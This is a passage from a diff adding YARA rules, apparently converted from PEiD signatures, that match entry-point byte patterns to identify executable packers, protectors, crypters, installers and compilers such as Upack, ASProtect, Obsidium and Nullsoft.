+		$0 = {FC 1E 06 8C DD 83 C5 10 89 E8 BA 00 00 8B 1E 02 00 29 D3 53 8E D8 8E C3 31 F6 31 FF B9 08 00 F3 A5 40 43 4A 75 EE B8 2B 00 50 CB 0E 1F BE 2A 01 B3 01 8E C5 31 FF 81 FF 00 80 72 0B 8C C0 05 00 08 8E C0 81 EF 00 80 E8 8A 00 74 08 B7 08 E8 9D}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V020__Dwing__20080321_
+{
+	meta:
+		description = "Upack V0.20 -> Dwing * 20080321"
+	strings:
+		$0 = {BE ?? ?? ?? ?? AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A ?? ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 ?? ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0 01 67 E3 29 8B D7 2B 55 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 56 08 33 C9 E9 07 01 00 00 8B 5D 0C 83 C2 30 FF 16 73 53 83 C2 30 FF 16 72 1B 83 C2 30 FF 16 72 2B 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 45 0C B1 80 8A 00 EB CF 83 C2 60 FF 16 87 5D 10 73 0D 83 C2 30 FF 16 87 5D 14 73 03 87 5D 18 3C 07 B0 08 72 02 B0 0B 50 53 8D 95 7C 07 00 00 FF 56 0C 5B 91 E9 9C 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V029V031__Dwing____20080321_
+{
+	meta:
+		description = "Upack V0.29-V0.31 -> Dwing   * 20080321"
+	strings:
+		$0 = {BE ?? ?? ?? ?? AD 8B F8 95 AD 91 F3 A5 AD ?? ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF ?? ?? ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0 01 E3 29 8B D7 2B 55 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 56 08 33 C9 FF 66 24 B1 30 8B 5D 0C 03 D1 FF 16 73 4B 03 D1 FF 16 72 19 03 D1 FF 16 72 29 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 45 0C 8A 00 FF 66 20 83 C2 60 FF 16 87 5D 10 73 0C 03 D1 FF 16 87 5D 14 73 03 87 5D 18 3C 07 B0 08 72 02 B0 0B 50 53 8B D5 03 56 14 FF 56 0C 5B 91 FF 66 3C 07 B0 07 72 02 B0 0A 50 87 5D 10 87 5D 14 89 5D 18 8B D5 03 56 18 FF 56 0C 6A 03 59 50 48 3B C1 72 02 8B C1 C1 E0 06 B1 40 8D 9C 85 7C 03 00 00 FF 56 04 3C 04 8B D8 72 5F 33 DB D1 E8 13 DB 48 43 91 43 D3 E3 80 F9 05 8D 94 9D 7C 01 00 00 76 2E 80 E9 04 33 C0 8B 55 00 D1 6D 08 8B 12 0F CA 2B 55 04 03 C0 3B 55 08 72 07 8B 55 08 40 01 55 04 FF 56 10}
+	condition:
+		$0
+}
+rule _CipherWall_SelfExtratorDecryptor_Console_15_
+{
+	meta:
+		description = "CipherWall Self-Extrator/Decryptor (Console) 1.5"
+	strings:
+		$0 = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 0B 6E 5B 9B 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+	condition:
+		$0 at entrypoint
+}
+rule _SLVc0deProtector_06__SLV_
+{
+	meta:
+		description = "SLVc0deProtector 0.6 -> SLV"
+	strings:
+		$0 = {E8 49 00 00 00 69 E8 49 00 00 00 95 E8 4F 00 00 00 68 E8 1F 00 00 00 49 E8 E9 FF FF FF 67 E8 1F 00 00 00 93 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v10_
+{
+	meta:
+		description = "ASProtect v1.0"
+	strings:
+		$0 = {60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED D3 22 40 00 E8 04 02 00 00 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46}
+		$1 = {60 E8 01 ?? ?? ?? 90 5D 81 ED ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD 2B 9D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VLoad_09used_in_Kartz_03_
+{
+	meta:
+		description = "V-Load 0.9?used in Kartz 0.3"
+	strings:
+		$0 = {33 F6 2E F6 06 B0 06 FF 74 12 0E 58 8B D8 81 E3 00 F0 75 08 B1 04 D3 E0 2B F0 D3 EE 06 5B 0E 58 2B C3 B1 04 BB 35 07 8B D3 D3 EB 81 E2 0F 00 74 01 43 2B F3 7D 02 03 F3 03 D8 03 DE B8 00 4A CD 21 73 04 B4 4C CD 21 A1 2C 00 2E A3 05 07 2E 8C}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Cpp_DLL_
+{
+	meta:
+		description = "Borland C++ DLL"
+	strings:
+		$0 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 ?? ?? ?? ?? A1 ?? ?? ?? ?? C1 E0 02 A3 ?? ?? ?? ?? 52}
+		$1 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 ?? ?? ?? ?? A1 ?? ?? ?? ?? C1 E0 02 A3 ?? ?? ?? ?? 8B}
+		$2 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 A1 C1 E0 02 A3 8B}
+		$3 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9}
+		$4 = {A1 ?? ?? ?? ?? C1 ?? ?? A3 ?? ?? ?? ?? 83 ?? ?? ?? ?? 75 ?? 80 ?? ?? ?? ?? ?? ?? 74}
+		$5 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint
+}
+rule _PseudoSigner_01_Lockless_Intro_Pack_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Lockless Intro Pack"
+	strings:
+		$0 = {2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD E9}
+		$1 = {2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Kodak_Color_management_for_Windows_file_
+{
+	meta:
+		description = "Kodak Color management for Windows file"
+	strings:
+		$0 = {4B 43 4D 53}
+	condition:
+		$0 at entrypoint
+}
+rule _VOB_ProtectCD_5_
+{
+	meta:
+		description = "VOB ProtectCD 5"
+	strings:
+		$0 = {36 3E 26 8A C0 60 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _RUE_132_
+{
+	meta:
+		description = "RUE 1.32"
+	strings:
+		$0 = {68 00 01 60 BF 03 01 B9 00 00 B0 00 2E 30 05 FE C0 47 E2 F8 61 C7 06 00 01 E9 00 C6 06 02 01 00 C3 48 69 6E 74 3A 20 27 00 27 20 77 61 73 20 63 6F 6E 76 65 72 74 65 64 20 75 73 69 6E 67 20 52 4F 53 45 27 73 20 52 55 45 21 20 73 55 4D 73 44}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_v1331__Obsidium_Software_h_
+{
+	meta:
+		description = "Obsidium v1.3.3.1 -> Obsidium Software (h)"
+	strings:
+		$0 = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Macromedia_Flash_Projector_60_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Macromedia Flash Projector 6.0"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C E9}
+		$1 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_v024__v028_Alpha__Dwing_
+{
+	meta:
+		description = "Upack v0.24 ~ v0.28 Alpha -> Dwing"
+	strings:
+		$0 = {BE 88 01 40 00 AD ?? ?? 95 AD 91 F3 A5 AD}
+		$1 = {BE 88 01 40 00 AD ?? ?? 95 AD 91 F3 A5 AD}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ARM_Protector_03__by_SMoKE_
+{
+	meta:
+		description = "ARM Protector 0.3 - by SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 13 24 40 00 EB 02 83 09 8D B5 A4 24 40 00 EB 02 83 09 BA 4B 15 00 00 EB 01 00 8D 8D EF 39 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0}
+		$1 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 13 24 40 00 EB 02 83 09 8D B5 A4 24 40 00 EB 02 83 09 BA 4B 15 00 00 EB 01 00 8D 8D EF 39 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _PEX_v099_
+{
+	meta:
+		description = "PEX v0.99"
+	strings:
+		$0 = {E9 F5 00 00 00 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 20 50 65 58 20 28 63 29 20 62 79 20 62 61 72 74 5E 43 72 61 63 6B 50 6C 20 62 65 74 61 20 72 65 6C 65 61 73 65 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 60 E8 01 00 00}
+		$1 = {60 E8 01 ?? ?? ?? ?? 83 C4 04 E8 01 ?? ?? ?? ?? 5D 81}
+		$2 = {E9 F5 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PE_Diminisher_v01_
+{
+	meta:
+		description = "PE Diminisher v0.1"
+	strings:
+		$0 = {6A 00 E8 ?? ?? 00 00 A3 ?? ?? 40 00}
+		$1 = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B D5 81 ED A2 30 40 00 2B 95 91 33 40 00 81 EA 0B 00 00 00 89 95 9A 33 40 00 80 BD 99 33 40 00 00 74}
+		$2 = {5D 8B D5 81 ED A2 30 40 ?? 2B 95 91 33 40 ?? 81 EA 0B ?? ?? ?? 89 95 9A 33 40 ?? 80 BD 99}
+		$3 = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B D5 81 ED A2 30 40 00 2B 95 91 33 40 00 81 EA 0B 00 00 00 89 95 9A 33 40 00 80 BD 99 33 40 00 00 74 50 E8 02 01 00 00 8B FD 8D 9D 9A 33 40 00 8B 1B 8D 87}
+		$4 = {5D 8B C5 81 ED B2 2C 40 00 2B 85 94 3E 40 00 2D 71 02 00 00 89 85 98 3E 40 00 0F B6 B5 9C 3E 40 00 8B FD}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint
+}
+rule _Nullsoft_Install_System_v1xx_
+{
+	meta:
+		description = "Nullsoft Install System v1.xx"
+	strings:
+		$0 = {50 53 51 52 1E 06 9C B8 21 35 CD 21 53 BB ?? ?? 26 ?? ?? 49 48 5B}
+		$1 = {55 8B EC 83 EC 2C 53 56 33 F6 57 56 89 75 DC 89 75 F4 BB A4 9E 40 00 FF 15 60 70 40 00 BF C0 B2 40 00 68 04 01 00 00 57 50 A3 AC B2 40 00 FF 15 4C 70 40 00 56 56 6A 03 56 6A 01 68 00 00 00 80 57 FF 15 9C 70 40 00 8B F8 83 FF FF 89 7D EC 0F 84 C3 00 00 00}
+		$2 = {83 EC 0C 53 56 57 FF 15 20 71 40 00 05 E8 03 00 00 BE 60 FD 41 00 89 44 24 10 B3 20 FF 15 28 70 40 00 68 00 04 00 00 FF 15 28 71 40 00 50 56 FF 15 08 71 40 00 80 3D 60 FD 41 00 22 75 08 80 C3 02 BE 61 FD 41 00 8A 06 8B 3D F0 71 40 00 84 C0 74 0F 3A C3 74}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _y0das_Cryptor_12__y0da_
+{
+	meta:
+		description = "y0da's Cryptor 1.2 -> y0da"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _Crypt_17_EXE_
+{
+	meta:
+		description = "Crypt 1.7 [EXE]"
+	strings:
+		$0 = {0E 17 9C 58 F6 C4 01 74 03 E9 98 00 1E B0 02 E6 21 8C DA 83 C2 10 8E DA 8E C2 BB 00 00 BA 00 00 85 D2 74 29 B4 01 33 FF 33 F6 B9 00 F0 AC 32 C4 C0 C4 03 02 E1 2E 00 06 22 01 AA E2 F0 8C D8 05 00 0F 8E D8 8E C0 4A 85 D2 74 02 EB D7 60 B4 30}
+	condition:
+		$0 at entrypoint
+}
+rule _InstallShield_AFW_
+{
+	meta:
+		description = "InstallShield AFW"
+	strings:
+		$0 = {55 8B EC 6A FF 68 18 33 41 00 68 80 BA 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 E8 31 41 00 33 D2 8A D4 89 15 5C 63 41 00 8B C8 81 E1 FF 00 00 00 89 0D 58 63 41 00 C1 E1 08 03 CA 89 0D 54 63 41 00 C1 E8 10 A3 50 63 41 00 33 F6 56 E8 E0 00 00 00 59 85 C0 75 08}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_09781_
+{
+	meta:
+		description = "PECompact 0.978.1"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 49 87 40 00 87 DD 8B 85 CE 87 40 00 01 85 3D 87 40 00 66 C7 85 3A 87 40 00 90 90 BB A6 09 00 00 03 9D D2 87 40 00 03 9D CE 87 40 00 53 53 53 58 2D A4}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Shield_v29__Exeshield_Corp_
+{
+	meta:
+		description = "EXE Shield v2.9 -> Exeshield Corp."
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 0B 20 40 00 B9 EB 08 00 00 8D BD 53 20 40 00 8B F7 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _AsCrypt_v01__SToRM__needs_to_be_added_
+{
+	meta:
+		description = "AsCrypt v0.1 -> SToRM - needs to be added"
+	strings:
+		$0 = {83 C6 14 8B 55 FC E9 ?? FF FF FF}
+		$1 = {81 EC 0C 04 00 00 53 56 57 55 68 60 50 40 00 6A 01 6A 00 FF 15 D8 80 40 00 8B F0 FF 15 D4 80 40 00 3D B7 00 00 00 75 0F 56 FF 15 B8 80 40 00 6A 02 FF 15 A4 80 40 00 33 DB E8 F2 FE FF FF 68 02 7F 00 00 89 1D 94 74 40 00 53 89 1D 98 74 40 00 FF 15 E4 80 40 00 50 FF 15 E0 80 40 00 8B 0D 00 50 40 00 E8 68 FF FF FF B9 40 0D 03 00 89 44 24 14 E8 5A FF FF FF 68 00 02 00 00 8B 2D D0 80 40 00 89 44 24 1C 8D 44 24 20 50 53 FF D5 8D 4C 24 1C 53 68 00 00 00 80 8B 3D CC 80 40 00 6A 03 53 6A 03 68 00 00 00 80 51 FF D7 8B F0 53 8D 44 24 14 8B 0D 00 50 40 00 8B 54 24 18 50 51 52 56 FF 15 C8 80 40 00 85 C0 0F 84 40 02 00 00 8B 15 00 50 40 00 3B 54 24 10 0F 85 30 02 00 00 6A FF A1 04 50 40 00 2B D0 8B 4C 24 18 03 C8 E8 9F FE FF FF 3B 05 10 50 40 00 0F 85 10 02 00 00 56 FF}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _EXE32Pack_v13x_
+{
+	meta:
+		description = "EXE32Pack v1.3x"
+	strings:
+		$0 = {8C CB B9 ?? ?? BE ?? ?? 89 F7 1E A9 ?? ?? 8D ?? ?? ?? 8E D8 05 ?? ?? 8E C0 FD F3 A5 FC 2E ?? ?? ?? ?? 73}
+		$1 = {3B ?? 74 02 81 83 55 3B ?? 74 02 81 ?? 53 3B ?? 74 01 ?? ?? ?? ?? ?? 02 81 ?? ?? E8 ?? ?? ?? ?? 3B 74 01 ?? 5D 8B D5 81 ED}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SoftDefender_v112__Randy_Li_
+{
+	meta:
+		description = "SoftDefender v1.12 -> Randy Li"
+	strings:
+		$0 = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD 00 59 9C 50 74 0A 75 08 E8 59 C2 04 00 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 BE 01 00 00 03 C8 74 BD 75 BB E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Installer_VISE_Custom_
+{
+	meta:
+		description = "Installer VISE Custom"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? ?? 40 00 33 D2 8A D4 89 15 ?? ?? 40 00 8B C8 81 E1 FF 00 00 00 89 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _Stones_PE_Encryptor_v10_
+{
+	meta:
+		description = "Stone's PE Encryptor v1.0"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 63 3A 40 ?? 2B 95 C2 3A 40 ?? 83 EA 0B 89 95 CB 3A 40 ?? 8D B5 CA 3A 40 ?? 0F B6 36}
+		$1 = {60 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_JDPack_1x__JDProtect_09__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [JDPack 1.x / JDProtect 0.9] --> Anorganix"
+	strings:
+		$0 = {60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Securom7__Sony_DADC_
+{
+	meta:
+		description = "Securom7 -> Sony DADC"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 8B ?? ?? ?? ?? 0A ?? ?? ?? ?? ?? ?? E8}
+		$1 = {B8 ?? ?? ?? ?? 8B ?? ?? ?? ?? 0A ?? ?? ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_V038__Dwing__20080321_
+{
+	meta:
+		description = "Upack V0.38 -> Dwing * 20080321"
+	strings:
+		$0 = {58 8D 54 83 58 FF 16 72 5B 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 6F FF ?? ?? ?? 69 ED 00 0C 00 00 8D AC 2B 08 10 00 00 B0 01 E3 2A 8B D7 2B 53 08 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 54 95 00 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E3 B4 00 33 C9 B5 01 FF 56 50 33 C9 E9 FB 00 00 00 04 F9 1A C0 B1 30 8B 6B 08 03 D1 FF 16 73 49 03 D1 FF 16 72 17 03 D1 FF 16 72 27 24 02 04 09 50 8B C7 2B 43 08 8A 00 E9 CD 00 00 00 83 C2 60 FF 16 87 6B 0C 73 0C 03 D1 FF 16 87 6B 10 73 03 87 6B 14 24 03 04 08 50 55 8D 93 78 07 00 00 FF 56 54 5D 91 E9 95 00 00 00 24 03 04 07 50 87 6B 0C 87 6B 10 89 6B 14 8D 93 C0 0B 00 00 FF 56 54 6A 03 59 50 48 3B C1 72 02 8B C1 C1 E0 06 B1 40 8D AC 83 78 03 00 00 FF 56 4C 3C 04 8B E8 72 5C 33 ED D1 E8 13 ED 48 45 91 45 D3 E5 80 F9 05 8D 94 AB 78 01 00 00 76 2B 80 E9 04 33 C0 8B 53 FC D1 2B 8B 12 0F CA 2B 53 04 03 C0 3B 13 72 06 8B 13 40 01 53 04 FF 56 10}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_v14_osCE__Sing_by_osCppCoDeR_
+{
+	meta:
+		description = "AntiDote v1.4 osCE  *Sing by osC++CoDeR"
+	strings:
+		$0 = {68 95 01 00 00 E8 D0 FD FF FF 68 95 01 00 00 E8 C3 FD FF FF 68 90 03 00 00 E8 BC FD FF FF 68 90 03 00 00 E8 B2 FD FF FF 50 E8 AC FD FF FF 50 E8 A6 FD FF FF 68 69 D6 00 00 E8 9C FD FF FF 50 E8 96 FD FF FF 50 E8 90 FD FF FF 83 C4 20 E8 78 FF FF FF 84 C0 74 4F 68 04 01 00 00 68 10 22 60 00 6A 00 FF 15 08 10 60 00 68 90 03 00 00 E8 68 FD FF FF 68 69 D6 00 00 E8 5E FD FF FF 50 E8 58 FD FF FF 50 E8 52 FD FF FF E8 DD FE FF FF 50 68 A4 10 60 00 68 94 10 60 00 68 10 22 60 00 E8 58 FD FF FF 83 C4 20 33 C0 C2 10 00}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_v11_150200_Beta__NEOx_
+{
+	meta:
+		description = "nPack v1.1 150-200 Beta -> NEOx"
+	strings:
+		$0 = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? 00 E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00}
+		$1 = {83 3D 04 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 2E ?? ?? ?? 2B 05 08 ?? ?? ?? A3 00 ?? ?? ?? E8 9C 00 00 00 E8 04 02 00 00 E8 FB 06 00 00 E8 1B 06 00 00 A1 00 ?? ?? ?? C7 05 04 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3 56 57 68}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MinGW_32x_main_
+{
+	meta:
+		description = "MinGW 3.2.x (main)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 E4 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 E4 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 00 41 40 00 89 EC 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _Unnamed_Scrambler_13B__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 1.3B -> p0ke"
+	strings:
+		$0 = {55 8B EC B9 08 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 98 56 00 10 E8 48 EB FF FF 33 C0 55 68 AC 5D 00 10 64 FF 30 64 89 20 6A 00 68 BC 5D 00 10 68 C4 5D 00 10 6A 00 E8 23 EC FF FF E8 C6 CE FF FF 6A 00 68 BC 5D 00 10 68 ?? ?? ?? ?? 6A 00 E8 0B EC FF FF E8 F2 F4 FF FF B8 08 BC 00 10 33 C9 BA 04 01 00 00 E8 C1 D2 FF FF 6A 00 68 BC 5D 00 10 68 E4 5D 00 10 6A 00 E8 E2 EB FF FF 68 04 01 00 00 68 08 BC 00 10 6A 00 FF 15 68 77 00 10 6A 00 68 BC 5D 00 10 68 FC 5D 00 10 6A 00 E8 BD EB FF FF BA 10 5E 00 10 B8 70 77 00 10 E8 CA F3 FF FF 85 C0 0F 84 F7 05 00 00 BA 74 77 00 10 8B 0D 70 77 00 10 E8 FE CD FF FF 6A 00}
+		$1 = {55 8B EC B9 08 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 98 56 00 10 E8 48 EB FF FF 33 C0 55 68 AC 5D 00 10 64 FF 30 64 89 20 6A 00 68 BC 5D 00 10 68 C4 5D 00 10 6A 00 E8 23 EC FF FF E8 C6 CE FF FF 6A 00 68 BC 5D 00 10 68 ?? ?? ?? ?? 6A 00 E8 0B EC FF FF}
+		$2 = {55 8B EC B9 08 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 98 56 00 10 E8 48 EB FF FF 33 C0 55 68 AC 5D 00 10 64 FF 30 64 89 20 6A 00 68 BC 5D 00 10 68 C4 5D 00 10 6A 00 E8 23 EC FF FF E8 C6 CE FF FF 6A 00 68 BC 5D 00 10 68 ?? ?? ?? ?? 6A 00 E8 0B EC FF FF E8 F2 F4 FF FF B8 08 BC 00 10 33 C9 BA 04 01 00 00 E8 C1 D2 FF FF 6A 00 68 BC 5D 00 10 68 E4 5D 00 10 6A 00 E8 E2 EB FF FF 68 04 01 00 00 68 08 BC 00 10 6A 00 FF 15 68 77 00 10 6A 00 68 BC 5D 00 10 68 FC 5D 00 10 6A 00 E8 BD EB FF FF BA 10 5E 00 10 B8 70 77 00 10 E8 CA F3 FF FF 85 C0 0F 84 F7 05 00 00 BA 74 77 00 10 8B 0D 70 77 00 10 E8 FE CD FF FF 6A 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Upack_v039_final__Dwing_
+{
+	meta:
+		description = "Upack v0.39 final -> Dwing"
+	strings:
+		$0 = {56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91}
+		$1 = {FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF}
+		$2 = {56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91}
+	condition:
+		$0 at entrypoint or $1 or $2
+}
+rule _UPXFreak_01_Borland_Delphi__HMX0101_
+{
+	meta:
+		description = "UPXFreak 0.1 (Borland Delphi) -> HMX0101"
+	strings:
